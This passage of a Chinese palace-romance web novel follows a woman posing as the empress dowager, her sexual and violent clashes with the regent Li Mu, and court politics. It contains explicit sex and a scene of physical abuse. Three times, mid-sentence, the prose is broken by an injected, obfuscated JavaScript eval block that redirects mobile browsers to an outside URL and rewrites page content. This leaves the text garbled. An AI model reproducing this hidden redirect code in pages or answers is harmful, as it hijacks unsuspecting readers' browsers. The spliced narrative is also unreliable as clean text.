争论声中,朱凝端坐在屏风之后,可以看到陆儋手指摩挲着龙椅,有些紧张,不知如何应对。李穆也偏过头,看了陆儋一眼,陆儋细微的动作没能逃过他的眼睛。在触碰到李穆的眼神后,陆儋立即挺直腰背,凝神聆听。 一个上午,朝臣们就“江南洪灾”与“北疆粮饷”一事,展开了激烈的争论。最终李穆站出来,阻止了他们的争执,为事情下了定论。 先由朝廷出资十万两白银,由金吾卫押送南下,用于江南百姓赈灾。如今才到六月,江南正是种植的好时候,还可以再种一季粮食,用于北疆军粮。赈灾和种粮,都必须由秦王监督,若有差池,拿秦王问责,罪同叛军反贼! 李穆此举虽霸道蛮横,却解了秦王的步步刁难之危。 下朝后,朱凝眉虽然累,却没有急着回去休息,反而陪着陆儋聊了一会儿。 此时的陆儋也很伤心,他把秦王当作唯一的亲人,当作是逃离李穆掌控的救赎,却不料秦王上朝后,便给他出了个大难题。 “陛下如今可算明白了先帝的良苦用心?这世间,有些人虽与你是血亲,却恨不得吃你的肉,喝你的血,将你所拥有的一切据为己有。有些人虽与你针锋相对,步步为敌,可你一旦落入危险,他也会舍命相救。” 朱凝眉恨着李穆,实在不愿在陆儋面前帮他说好话。 可她也不能违心地瞧见陆儋和李穆之间的矛盾,越来越深。 趁着秦王还来不及用亲情笼络住陆儋,她得把这些利害关系,用深入浅出的方法同他讲明白。她是在帮李穆,同样,也是在帮陆儋。 陆儋脸颊苍白,双眸红肿,显然是在下朝回宫的路上,偷偷哭过了。 陆儋幽幽地看着她,问:“若有一日,朕与李穆决裂。母后会帮朕,还是帮李穆?” 陆儋的眼神让朱凝眉心惊肉跳:“陛下为何会这样问?” 她担忧地看着陆儋,心里也生出了几分紧张。她害怕被陆儋看出私心,难道她对李穆的偏袒已经被陆儋看出来了? 朱凝眉不愿失去陆儋的信任,于情于理,她和陆儋才应该是同一阵线的人。 陆儋微凉的目光看着她,不是儿子看母亲的眼神,是男子看女子的眼神。论辈分,她是他的姨母。可他是皇帝,她是后宫的女人。自古以来,入了后宫的女子,都应该是皇帝的女人。 他现在还没有与李穆争夺的能力,可他比李穆年轻,李穆总有老去的一日! “陛下为何会这样想呢?我自然心向着陛下。”朱凝眉说完这句后,才见陆儋松了口气。 陆儋也不知自己对朱凝眉生出了怎样的感情,但自从她入宫那日,拼着自己的性命来维护他之后,陆儋心里便再也没有了恐惧。 有朱凝眉在的地方,陆儋总是安心的。他知道,宫里有这么一个人,能挡在他身前,不让李穆伤害他。 可目前来说,他们是母子,不能有逾越这层关系的任何暧昧。陆儋也不愿让朱凝眉察觉他心里那些不可言说的秘密。 “朕没事了,方才只是一时失态。”他趁朱凝眉还没反应过来,便对她道:“母后回去吧,儿臣歇息会儿,还要去勤政殿听朱太傅讲课。” 这阵子,因着对付大长公主的事,朱凝梅忙着与李穆斗智斗勇,忽略了陆儋。而且大长公主死后,她因为内心那点细微的歉疚,也不敢出现在陆儋面前。没想到却让陆儋生出了误会! 朱凝梅看着陆儋的眼睛,再次对他表态:“陛下在我心里,自然比李穆重要得多。若不是为了陛下,我连见李穆一眼都嫌多。” 陆儋笑着说:“母后的苦心,朕明白了。” 说完,他便挑衅地看着殿外。 朱凝眉顺着他的眼神,往外看,只见李穆站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768633|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿外,脸色铁青地看着她。 心跳漏了一拍,朱凝眉生出一种错觉,她仿佛是犯了错,被丈夫抓奸在床的妻子。可随即她便反应过来,她无须对李穆做出承诺。她和李穆之间,本就是互相利用的关系! “陛下先休息吧,我回去了!”朱凝眉摸了摸陆儋的苍白的脸,对他温柔地笑了笑,才起身离开。 走到李穆身旁,她停下了,眉眼笑意盈盈,声音温温柔柔:“忠勇侯辛苦了!多谢您今日在朝廷上舌战群儒,护着陛下。” 李穆神色冷漠,鼻腔里轻轻发出一声充满怒气和埋怨的轻哼。 “娘娘太客气了!”他扯出一个讽刺的笑,对朱凝眉道:“这本是微臣分内之事!” 这次朱凝眉回宫,李穆没有送她,朱凝眉知道他生气了,但她不在乎。 到了晚上,她也不管李穆会不会来,先做好了他会来的准备。他帮她杀了大长公主,又同意让秦王入京,满足陆儋想见唯一亲人的愿望。她向来有仇报仇,有恩报恩,于情于理,她应当给他一些奖赏。 也许是秦王入京之事,给李穆增添了很多烦恼,他忙到三更才来安宁宫。 桌上的晚膳热了三回又凉了三回,他并不嫌弃,匆匆忙忙吃了两口。 朱凝眉向来早睡,等到他等现在,早已哈欠连连。 “困了?”从他温柔的语气中,朱凝眉察觉不出他是否还在生气。 “抱歉,我平日不到二更便睡了。”朱凝眉说话还带着浓浓的鼻音,因为怕他还在生气,也比平时更客气。 “那你睡吧,我今日陪陛下批奏折太累,也有些困。”李穆抬手捏了捏眉心,似乎有些疲惫。 朱凝眉有些意外,她本想做点什么,补偿李穆。但见他兴致缺缺地模样,便只好作罢。她愿意给,他自己不要,那她也不能表现出急不可耐的样子。她本来就对这种事,兴致冷淡。 许是两人都有些困了,脱了衣裳,熄灯躺在床上便都很快睡着了。朱凝眉犯困,先睡着。李穆见她睡得安稳,将她搂在怀里,听着她平缓的呼吸,也很快便睡着了。 半夜时,朱凝眉做噩梦被吓醒。 她总是做些稀奇古怪的梦,梦里仿佛有恶鬼在追赶她。有时,那些恶鬼抱着榕姐威胁她,逼她自尽;有时那些恶鬼要去告诉李穆,她是假太后,她只能奋力与恶鬼厮杀,在梦中大开杀戒;有时她在梦里跟李穆吵架,究竟吵些什么,她醒来后也忘了。 李穆是被她幼兽似的呜咽声吵醒的,她嘴里说些含含糊糊的梦话,声音仿佛是在求助。李穆将她唤醒,她不耐烦地蹙着秀眉,睁开带着些许怨气的眼。 她仿佛回到了新婚那夜,枕边人用担忧的眼神看着她,勾起了她心里的恨。她发疯似的捶打李穆,嘴里骂着狠话! “都是你的错!” “你这个禽兽不如的坏蛋!” “你敢伤害榕姐,我就跟你同归于尽~” 李穆身着白色的中衣,神情柔软,不似白日那般威严冷漠。 走道的灯光透过白色纱帐似月光般倾斜下来,照着他剑眉星目,以及温柔宠溺的眼神。 朱凝眉哭了很久,才反应过来,她如今的处境,她是假太后,不是新婚那日听到丈夫唤着姐姐名字的朱凝眉。 她有些心虚,害怕被李穆察觉出端倪,慌慌张张地用薄被将自己掩盖起来,躲过李穆的注视。 她这反应,落在李穆眼中,成了女子的羞涩,也更加印证了她与先帝不常做夫妻之事。 李穆耐心地掀开被子,将她从被子里捞出来。 “天这么热,你难道要将自己闷死在被子里吗?” “不要你管!”朱凝眉声音里还带着怨气,紧紧攥住被子,不肯放手。 她眼眸如星,嘴唇通红。李穆睡了一觉,养精蓄锐,欲望如蓬勃的野心一般在无声处滋长。 有些事情,就这样自然而然地发生。 朱凝眉已有五年未经男女情事,不大适应,她声音娇得能滴出水来:“把灯灭了吧。” 李穆看她的眼神,让她心慌。 但李穆想看着她,不愿错过她的任何表情:“为什么?难为情了?两个孩子都生了,有什么可难为情的。” “闭嘴。”她蹙眉,呼吸有些重,默默承受着巨物碾压的不适。 她羞涩的模样,取悦了李穆。 “先帝也曾像我这样,让你愉悦吗?” “那个你不愿说出名字的男子呢?” 朱凝眉发出细碎的哼哼,似幼兽在哭泣,但不是梦里那般无助的哭泣,而是带着愉悦的低泣。 她无法让他闭嘴,只能闭上眼睛不看他,关闭耳朵不听他说话。 李穆是个擅长打仗的将领。他在战场上很有耐心,从不因为打了败仗而气馁,他总是能胸有成竹地将他的目标拿下。 世间万物都是相通的,急不得,必须耐着性子,戒骄戒躁,徐徐前行。 朱凝眉咬着唇,觉得自己今夜要猝死在这张床上。 天边亮起第一道曙光时,她身体战栗,腰背紧绷,脖颈上扬。 片刻后,泪水盈盈地她,陷入了昏睡。 42. 第 42 章 朱凝眉昏睡过去之后,再醒来已是下午。她身上倒是清清爽爽,身体却像死过一次,连手都抬不起来! 李穆这个禽兽。 “醒来了?” 朱凝眉听到李穆的声音,掀开眼皮子看了他一眼,只见他神清气爽地站在榻旁,他穿着整齐,一袭黑色金丝滚边的朝服,衬得他身材更加挺拔、威严。 她懒懒地瞪了李穆一眼,把眼皮闭上,继续睡。 薄薄的寝衣,难以掩盖身体的曲线和肌肤的颜色。 李穆搬了张椅子,大马金刀地坐在榻边,伸手将她凌乱的发丝理顺,温柔道:“起来吃点东西再睡吧,要不然都没力气打我、咬我了!” 朱凝眉闭着眼睛,脑子里都是昨夜荒唐的画面,李穆伏在她上方驰骋时,她并不想让他好过,用指甲掐他,用牙齿咬他,可她力气太弱,费尽力气也只让他破了点油皮。 她又想起自己上大甲认识的那些大姐,夫婿不听话时,她们能一口气扇了夫婿十几个耳光,把夫婿打得鼻青脸肿。那时她最爱坐在草垛子上看那些大姐修理夫婿,心想,若给她机会对付李穆,她一定要比这些大姐下手更毒辣。 对不起老天爷给的机会,她不中用,揍不动李穆! 李穆哪知道她心里在想什么,此刻他看着她慵懒的睡颜,以及脖子上的红痕,还有掩盖在中衣下的那些痕迹,笑得春风满面。 他动作轻柔,一手托着她柔软纤细的腰,一手托着她的脖子,将她抱起来。 像羽毛一样温柔的吻,落在她眼皮上。 朱凝眉说了句破坏旖旎气氛的话:“死人你也亲亲得下最,李穆,你的口味真重!” 她浑身上下骨头跟碎了似的,觉得除了还能喘气,这具身体与死人也没什么差别了。 李穆吻住她的唇,惩罚似的在她唇上轻轻咬一口:“胡说八道什么?哪有人像你这般诅咒自己。” 朱凝眉有气无力地骂道:“反正我命硬,咒不死。就算我哪天真的死了,我在死之前肯定把你一起拖下地狱!” “求之不得!”李穆拿起衣裳,耐心地给她穿上,又跪在地上帮她把鞋穿好,才将她从榻上抱了起来。 “放我下来,我自己能走!”她听不出自己的声音有多娇媚,还自以为凶巴巴地,气势很足。 朱凝眉强撑着这口气,走了两步,忽然腰酸腿软,变得瘫软,像一摊棉花似的栽倒在李穆怀里。 她下巴撑在他肚脐三寸之处,抵着一根歪歪斜斜的粗树枝,双手握着他结实有力、肌肉线条明显的胳膊肘。 朱凝眉仰着头,看见李穆挑眉一笑。她红着脸,全身僵住,一张慵懒的脸上满是懊恼,李穆将她扶起来,重新将她打横抱着。 这回她再也不犟了,任由李穆抱着去偏厅用膳。 朱凝眉搂着李穆的脖子,用野兽盯住猎物一样的眼神死死地盯着李穆,心想:李穆再也得不到姐姐了,他这辈子再也得不到他的心上人。 以朱雪梅的心高气傲,她绝不会接受被自己睡过之后的李穆。甚至,她连安宁宫都不想住了。朱凝眉已经迫不及待地想看见,李穆知道她不是朱雪梅之后,会有多么暴跳如雷。 只有让李穆知道,他永远都得不到他梦寐以求的东西,她才算完成了自己的复仇。 她没有上妆,吃了点东西后,气色红润。李穆瞧着她,像极了画本子里采阳补阴之后的妖精,又想起她昨夜娇气的模样,决定日后要带她强健体魄。 “你心里在盘算什么?我仿佛听见你在骂我。”李穆拿了个紫芋馅饼往嘴里塞,尝到是甜的,皱了皱眉,为了不浪费粮食,还是勉强把馅饼吃完。 朱凝眉见他像吃毒药似的,嫌他糟蹋美食,把馅饼从他手里夺了过来:“不想吃别糟蹋粮食,宫里还有很多吃不饱饭的奴婢。这桌上我吃不完的东西,悦榕会派发到他们手中。” 李穆盯着她,似乎没想到她会说出这番话。 朱凝眉吃着饼,淡然地瞥了他一眼,时刻不忘讽刺他:“怎么这样看我?现在你飞黄腾达了,难道就忘了从前过的那些苦日子?” 李穆刚对她生出一种惺惺相惜的赏识,就被她气得胸口发堵。 “至少我不挑食,给我什么我都能吃得下,不像有的人,宁愿饿也不吃肉。” “你懂个屁,我那时辟谷!这是一种养生之道。” “你全身上找不出二两肉,还学人家辟谷,再辟谷下去你只剩皮包骨。” “我最近长胖了,衣服都紧了,你别乱说。” “还不够!”李穆见她脸红,笑道:“不够我塞牙缝!” 悦容正好将浣洗好的衣裳送进来,听到李穆和朱凝眉的对话,低着头偷笑,被朱凝眉听到,朱凝眉更羞涩了,站起来去掐李穆的脸:“让你胡说八道!” 李穆捞着她的腰,轻轻一带,就将她锁在怀里:“别闹,再闹有你后悔的。” 体内异物入侵后的酸痛火辣还未缓解,朱凝眉红着脸,果然不敢再动。 “你都已经生过两个孩子了,怎么还跟个小姑娘似的?”李穆道歉道得并不诚恳:“昨夜是我太莽撞了,以后我会悠着点的。” “哼!”朱凝眉不信他的鬼话:“你能这么好心?” 李穆挑眉笑道:“怎么?昨夜被我伺候得太舒服,舍不得我对你好心?” “呸,臭不要脸!” 李穆直接低头,用唇堵住她的嘴,可这一次她却迅速偏过头躲开了:“我还没漱口呢。” “我都不嫌弃,你怕什么?”李穆想起昨夜,她既难受又舒服的时刻,他想吻她,安抚她,可她却偏开了头,仿佛接受了他的吻就是完全接受了他这个人。 李穆索吻被拒,恶从心气,才会失控。见她累得汗涔涔地,也未曾停歇。 “李穆,你能不能别这么说话!我可跟你说清楚,你不过是我的姘头,别搞得我们像老夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797227|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妻似的!”朱凝眉冷冷道:“别忘了,我们是偷情的关系。” 朱凝眉实在不想看他太过得意,她时刻记着李穆给自己造成的伤害,不许自己再一次对他动心。 李穆愣住,木着一张脸,既恨她翻脸无情,又挑不出她的理。 很快他便想起了昨日在陆儋寝宫,听到她说的那些话,在她心里,她生的孩子永远比他重要! 李穆叹道:“雪梅,也给我生个孩子吧,男孩女孩都可以。” 他粗大的手,探进她的薄薄的寝衣内,停留在她柔软的腹部,轻轻摩挲,好像她肚子里已经怀了一个孩子。 朱凝眉的腹部已经不再如少女时期那么平坦光滑,那些仔细摩挲才能察觉的细微褶皱,是她怀榕姐时留下的痕迹。 生育之殇,不可逆,难痊愈。 李穆这句,无疑是将她曾经的伤疤又鲜血淋漓地撕开,还在伤口上撒了一把盐。她付出过的真心,又一次被践踏。可她已经不想哭了,哭不出来。 积攒已久的恨意,在此刻爆发出来。 朱凝眉讽刺道:“可我已经生不出来了!难道太医没跟你说吗?我生榕姐的时候差点死过一回,你让我再生一个,不是想要我的命?” 走到这一步,朱凝眉已经料定,待李穆将来知道真相,他定然不会放过她。 那么在此之前,她也不能让李穆好过。 “太医说,可以慢慢调理。”李穆理亏,叹道:“又不是让你马上就生一个出来,顺其自然就好。” 朱凝眉将李穆的脸拍得啪啪作响,她笑着问:“就算我能为你生个孩子出来,你打算给她什么身份?你我之间,注定不得善果,你让她将来如何自处?” 怎么会不得善果呢?李穆不愿意承认,也不接受这样的假设。他没有绝对的把握,笃定地许给她一个美好的将来。 李穆被她逼得节节败退,心里想的是掐住她纤细白皙的脖颈,让她闭嘴,可又怕自己不受控真将她掐死了,只能忍出内伤,低声道:“别再说了!” “为什么不愿意听?你在逃避什么呢?我是太后,你冒天下之大不韪地夜闯入太后寝殿,难道就没想过最坏的后果?我再给你生个孩子,要么将来你死了,她被陛下赐死,要么她只能隐姓埋名地生活你永远看不到的地方。你想让那个孩子在你我面前承欢膝下?做梦吧。” 她说的话,配合着她讽刺的表情,如尖刀一般刺在李穆心上,伤口可怖,深得掰开伤口就能看见白骨。 李穆气得推了她一把,朱凝眉没想到他会突然推自己一把,身子摇晃了一下,匆忙间想搂住李穆的脖子,却不防拽住了他的发冠,扯下来十几根青丝。 朱凝眉摔倒在地,额头刚好磕在李穆的发冠上,刚入宫那日撞宫门撞出的旧疤又一次受伤流血。 她做起来,看着李穆,额头的血很快流得满脸都是,可她见李穆披头散发得像个疯子,居然开心地大笑起来。 43. 第 43 章 李穆跪在她面前,捧着她的头,怒吼:“你为什么就不能对我好一点?我究竟哪里对不起你?我不求名分,不求将来,只求你现在对我好一点!” “因为我不爱你啊!” 听到这句,李穆眼中有泪,更多的是不甘心。 “你现在所拥有的一切,都是你强求来的。李穆,做人不能太贪心,你得到的已经够多了。”她笑盈盈地看着李穆,额头上鲜红的血流在苍白的脸上,像是地狱里爬出来的恶鬼。 李穆感觉全身的血都往头顶涌,脑子疼得快要炸开似的。 他摇了摇头,试图让自己清醒一点,他大声道:“我从没有逼迫你。如果你宁死不从,我绝不会强求。是你、你让我觉得你也有那么一点喜欢我,是你让我看到了希望。” 朱凝眉听到李穆的疯言疯语,气得扇了他一巴掌,怒道:“对,你不会强求。你只会想办法对付陛下,对付我兄长,对付我女儿——然后满眼无辜地看着我求到你面前。我从来没有说不的权力,摆在我面前的只有两条路。要么我主动求你,要么我被逼到走投无路地来求你。” 李穆被她骂得哑口无言,他眼中的森然寒光让朱凝眉不禁哆嗦了一下。 李穆冷静地把她送的荷包解下来,扔到她面前,道:“那这个是什么呢?也是我强迫你绣的吗?” 朱凝眉看着荷包冷笑。 五年前,在他们成亲之前,朱凝眉给李穆绣过很多个荷包、手帕、腰带,还给他做了一套寝衣。 她曾经以为,李穆收到这些礼物会很感动。 可是李穆却将她送出的礼物束之高阁。 当年他对朱凝眉说:“我从未收过女孩子的礼物,这么精致的物件儿,我舍不得用。” 如今,他却将“朱雪梅”送的荷包奉若珍宝,随时挂在身上。 朱凝眉晃晃悠悠地站起来,拿起剪刀,想将荷包剪碎。 李穆眼疾手快地将荷包夺了回来,气得浑身颤抖地道:“你既将荷包送给了我,便成了我的物件,你无权处置。” 她脸上的血越来越多,李穆这才醒悟过来自己干了什么,他匆匆忙忙将荷包塞进怀里,去药盒里拿了止血散和白布,覆在她伤口上,帮她将伤口裹起来,再用帕子认真帮她擦去脸上的血。 朱凝眉见他被自己气得脸色通红,心里真是痛快极了! 想起生榕姐那夜承受的痛,她便冷得全身发抖,李穆就算死在她面前,也驱不散她身体里的寒意。 朱凝眉有些头晕,她推开李穆的手,想自己走到软榻上去躺着。但她的虚弱,超过了自己的想象,没走两步又差点跌倒。 李穆还是眼疾手快地将她抱住了,他恨自己刚才不该推她一把,让她摔倒在地上,磕得额头受伤,流了满脸的血。 可李穆还是不能理解,她这么喜欢孩子,为什么不能给他生一个呢? 李穆抱着她,放回寝殿的榻上。 李穆想说:“你若厌烦,我今后便不再踏足安宁宫,我也不会再逼你!你有什么事想让我做,吩咐我一声便是,哪怕上刀山下火海我也在所不辞。你无须再给我绣荷包,送绿豆汤,免得叫我误会。” 可是话到嘴边,他却说不出口,只冷冷丢下一句:“就算你再厌烦我,也逃不出我的手掌心!我对你势在必得,无论用什么手段,我都在所不惜。你心里最好有我,这样你才没那么痛苦。若你心里容不下我,那也是你活该!” 李穆在安宁宫内,被朱凝眉几句话便气得头晕目眩、耳鸣如蝉。 踉踉跄跄地走出安宁宫,李穆扶着墙站了一会儿,脑子才清醒一点。难道他真有那么差劲? 对自己的怀疑像滚雪球一样越滚越大,额角针钻一样的疼,疼得他眼前发黑。李穆不甘心,他强撑着一口气,一步步往前走。 总有一日,她会爱上他的! 李穆忍着额角的疼痛一路走到太医所,那狼狈的模样,把几位太医都吓了一跳。 张太医熟悉李穆的病情,拽着他坐下,给他把脉,然后大惊失色。 但情况危急,也来不及多说废话了,连忙招呼徒弟过来,一起给李穆扎针。不到一炷香的时间,李穆的头便被扎成了刺猬,但他涨红的脸色却正常下来了。 张太医这才问:“是谁把侯爷气成这样?”那个人现在还活着吗?这世上居然还有人敢令忠勇侯如此动怒,这胆量着实令人敬佩。 见李穆沉默不语,张太医又道:“容下官啰嗦,说句不中听的话,忠勇侯若不爱惜身体,戒躁戒怒,恐怕岁数难有四十五。” 李穆轻描淡写道:“还能活七年,也算值了。” 就算她再不开心,也得再陪他这最后七年。七年之后,他不在世上,什么都不用他管了。 这一刻,李穆自私地想,她不愿意生孩子也好。若她给他生了孩子,他便舍不得将她带走。不生孩子,他死的时候,也许能强行将她一起带走。 这世上,李穆留恋的东西并不多,朱雪梅是他唯一的执念。 李穆走后,朱凝眉一觉睡到第二日天亮才起来。 醒来时,悦榕禀报,朱归禾前来拜见。朱凝眉穿好衣服,洗漱好之后,去见朱归禾。 朱归禾面容憔悴,眼睛周围满是黑眼圈,朱凝眉问他:“你这是怎么了?又和嫂嫂吵架了?” 朱归禾瞥了她一眼,淡淡地道:“还不是你!你答应榕姐要教她学骑马,她在家里跟你嫂嫂闹呢。她想进宫来找你,你嫂嫂不让,她便赌气不吃晚饭!她们母女都犟,我在中间受夹板气。你呢?你额头上怎么弄的?” “没事,走路不小心摔了一跤。”朱凝眉没有提她与李穆的争执,只道:“带榕姐骑马这事,是我答应她的。我在宫里给她选了一匹温驯的矮马,还给她选了个顶好的师父。就这几日,选个晴朗的日子,让陛下亲自去府里接她。” “与其让陛下去接她,还不如你亲自去。你嫂嫂对陛下不放心,她只信你!”朱归禾道:“虽然她虚张声势,好似逮着机会就想给你下马威。可她最大的心病是怕照顾不好榕姐,辜负了你!” “行,那我就亲自去一趟吧。”朱凝眉深深叹气:“榕姐这性子,像极了李穆。我担心她再过几年,容貌也与李穆相似。等将来,你找个外放的机会,带着嫂嫂和榕姐躲出去吧。” “再说吧。”朱归禾听到这句,眼神有些闪躲,手指捏着袖子轻轻摩挲。 朱凝眉入宫已有月余,得益于成日跟李穆斗智斗勇,她已对旁人眉宇眼神间那点微妙的情绪有所察觉。 兄长明显有事瞒着她,朱凝眉心里微微一沉。 如果说在上大甲的这几年入道生涯,让她学会了什么,那便是学会了坦诚,有话直说,不必藏着掖着。 “大哥,我是出家人。在这世上,能让我牵挂的人不多了。我同意入宫,扮演太后,是顾念着你我之间的亲情。大哥,我对你交付了全然的信任,若你不能待我同样信任,这样的亲情便也不值得我留恋。我孑然一身来到这世间,最后了无牵挂地走,也不觉得遗憾。” 朱归禾毕竟是帝师,是个顶顶聪明的人,她话音刚落,朱归禾便做了选择。 “李穆本是良家,一场私铸钱币案,九族被牵连。李穆因此家破人亡,沦为马奴。秦王私铸钱币,触了李穆逆鳞,李穆大概不会让他活着走出京城。” 朱凝眉皱眉道:“这秦王不是好人,当然该杀!李穆杀了他,不正好为陛下除去心头大患吗?” “秦王若死,众藩王揭竿而起,朝廷局势动荡,必定会影响北疆战事。那日你垂帘听政,也听到了,如今北疆军费吃紧,全靠秦王的资助。”朱归禾叹道:“朝政之事,不是非黑即白。秦王私铸钱币,敲打即可。” “你怎么不早说呢!”朱凝眉叹气:“我昨日才刚得罪李穆,而且李穆有疑心病,他认为秦王和先帝长得像,便以为我会移情于秦王。此时我若在李穆面前为秦王求情,只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801749|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会加速秦王的死期。” 朱凝眉想了想,觉得不对劲,又道:“大哥,你刚才为难的不是秦王的事!你在转移话题。” 朱归禾道:“我正要跟你说呢,只是得先说完秦王的事,才能接着往下说。你姐姐来了信,说她很快就会回来。她在信中叮嘱,叫你别怕李穆,就算李穆发现你的真实身份,他也不敢动你。他若敢欺负你,你姐姐会为你做主的。我也是昨日才知道,她忽然离宫,不是为了逃避李穆,是她另有急事需处理。” 朱凝眉焦急地问:“她在哪里?什么时候回来?她究竟有什么事情要处理。” 她看似是在质问,其实眼神里对姐姐的关心藏掖不住。 朱归禾反应慢了一拍,叹道:“她没在信中交代,我也不知去何处问。我现在跟你一样,一头雾水。我犹豫,不是因为我有事想瞒着你,是我心里有猜疑,却找不到证据。你姐姐出宫这事儿——我不好说。” 他现在很担心两姊妹会因此反目成仇! “你有什么不好说的呢!总归是她看不上李穆,又想利用李穆,便拿我来当挡箭牌。从小到大,她哪件事不是如此?遇到什么难事只顾自己,从来不管别人高不高兴。”朱凝眉在兄长面前,率性地噘着嘴,扬起下巴埋怨姐姐:“若不是看在你的份上,我真不想来帮她蹚这趟浑水!” 原来小妹也这样认为,看来他的怀疑并非多心。这样一想,他豁然开朗起来,心情也没那么沉重了。 朱归禾轻声吐槽:“是,你对她没有半点感情!要钱的时候,遇到事情的时候总找我。伤心的时候,只想在她面前撒娇。她进宫后,是谁舍不得她,哭了一个月?” “那、那时我不懂事!”朱凝眉红着脸,不好意思起来:“谁舍不得她了,我那是高兴,喜极而泣,你懂不懂。” 朱归禾无奈地摇摇头,他这两个妹妹,在一起的时候互相吵架,不在一起了又互相挂念。 “总之,她若是利用了你,你也别恨她。她也有自己的难处。” “不用你提醒,我当了这么久的太后,她的难处我早知道了。”朱凝眉生气归生气,却还是心软道:“帮她是一码事,自家姐妹,一笔写不出两个朱字。我不心疼她,谁能心疼她?但恨她又是另一回事,而且这是我跟她之间的恩怨,与你无关,也用不着你管。” 望着小妹长不大的模样,又看看她额头上的伤,朱归禾又开始叹气:“都这么打了,怎么总是毛毛躁躁,走路都能磕着碰着。” “哎呀,你事情说完了没?说完了就赶紧走吧。你是陛下的老师,又不是我的老师,少在我面前念经,我头疼!”朱凝眉心虚,怕他接着问下去,自己会露出破绽。她怕兄长知道她额头上的伤与李穆有关,心里会难受,便急着赶他走。 朱归禾摇摇头,被小妹嫌弃了也不难受,无奈地笑着走出安宁宫。 朱归禾一走,朱凝眉便开始发愁。 每当她得罪了李穆,不到一日,便有事情发生,提醒她必须讨好李穆、顺从李穆。 一想到家人,她便生出万千壮志豪情,觉得她可以为了家人,安抚李穆,将他哄得服服帖帖,令他对自己唯命是从。 当然,她也有这个本事。 可她做不到对李穆没有半点私心。 她对李穆的爱恨已经模糊了边界,既做不到对他完全狠心绝情,又做不到忘记对他的恨。 李穆除了对她绝情残忍,没有给予她想要获得的那种忠贞不渝的爱情,没有别的错。因为她对李穆的那份了解,让她没办法打从心眼里承认,他是个坏人。 可是每次从他口中听到雪梅,触碰到他深情的眸光,她心中的恨意便会滋长。她会忍不住想尽办法刺痛李穆,逼疯李穆。 她想证明什么呢?无非是想证明,李穆内心深处到底更爱谁。 可每一次,她伤到的人只是自己。 她每一次试探得出的结论,都是李穆最爱的人,是她的姐姐。